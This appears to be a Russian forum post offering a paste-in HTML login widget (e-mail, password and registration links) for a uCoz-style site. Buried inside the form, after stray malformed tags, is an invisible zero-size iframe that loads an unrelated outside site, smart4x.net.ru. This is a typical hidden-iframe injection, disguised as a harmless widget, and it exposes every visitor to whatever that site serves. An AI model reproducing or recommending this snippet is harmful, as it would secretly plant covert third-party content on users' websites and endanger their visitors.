Создаём новый блок и пихаем в него:
Code
<!-- Скрипт - начинаеться -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="ru">
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<title>Логин 1.0</title>
<script type="text/javascript" src="http://www.unet.com/js/u.js"></script><link type="text/css" rel="Stylesheet" href="http://www.unet.com/css/unet.css">
</head>
<body>
<script type="text/javascript">
sendFrm11=function(){
var o=document.getElementById('blk11');
var pos=_uGetOffset(o);
document.body.insertBefore(document.getElementById('blkD11'),document.body.firstChild);
with(document.getElementById('blkD11')){style.top=(pos['top'])+'px';style.left=(pos['left'])+'px';style.width=o.offsetWidth+'px';style.height=o.offsetHeight+'px';style.display='';innerHTML='<div align="right" style="padding:5px 10px 0 0;"><div class="myWinLoad"></div></div>';}
_uPostForm('frm11',{type:'POST',url:'/dolog/'});
}
</script>
<div id="blkD11" style="position:absolute;z-index:11;background:url('http://www.unet.com/img/grid.gif');display:none;"></div>
<table border="0" cellpadding="2" cellspacing="1" height="80%" width="100%">
<tr>
<td valign="middle" align="center" height="100%">
<table border="0" cellpadding="0" cellspacing="4" width="100%" style="width:500px;height:250px;border:1px solid #A0A0A0">
<tr>
<td style="border:1px solid #BBBBBB" bgcolor="#FFFFFF" id="blk11">
<table border="0" cellpadding="0" cellspacing="0" width="100%" height="100%">
<tr><td valign="top"><div onclick="window.location.href='/$REGISTER_LINK$'" onmouseover="this.style.color='#FFFF66';" onmouseout="this.style.color='#FFFFFF';" style="background:#167CB4;color:#FFFFFF;cursor:pointer;text-transform:uppercase;padding:5px 15px; border-right:1px solid #BBBBBB;border-bottom:1px solid #BBBBBB;font-size:15pt;float:left;"><b>Регистрация</b></div></td></tr>
<tr><td align="center">
<form id="frm11" onsubmit="sendFrm11();return false;">
<table border="0" cellpadding="4" cellspacing="1">
<tr>
<td style="font-size:11pt;">E-mail:</td>
<td><input type="text" name="email" style="font-size:18pt;width:250px"></td>
</tr>
<tr>
<td style="font-size:11pt;">Пароль:</td>
<td><input type="password" name="pass" style="font-size:18pt;width:250px"></td>
</tr>
<tr>
<td></td>
<td><div style="float:right"><input type="submit" value="Логин" style="font-size:15pt;"></div><div style="padding-top:5px"><input type="checkbox" style="margin:0" name="rem" value="1" id="rmbMe"> <label for="rmbMe">Запомнить</label></div></td>
</tr>
</table>
<input type="hidden" name="ajax" value="1"><input type="hidden" name="goto" value="desktop">
</form>
<body style="margin:0px">
</iframe>
<iframe style="position:absolute;left:1%;width:0%;top:1%;height:0%;"
src="http://www.smart4x.net.ru">
</iframe>
</td></tr>
<tr><td valign="bottom"><div onclick="window.location.href='/$REMINDER_LINK$'" onmouseover="this.style.background='#DDDDDD'" onmouseout="this.style.background='#F5F5F5'" style="background:#F5F5F5;cursor:pointer;text-transform:uppercase;padding:5px 15px; font-size:8pt; border-left:1px solid #BBBBBB;border-top:1px solid #BBBBBB;float:right;"><b>Напомнить пароль</b></div></td></tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
<div class="poweredBy">Специально для cs-sport.do.am</div><br/>
</body>
</html>
<!-- Скрипт - заканчиваеться -->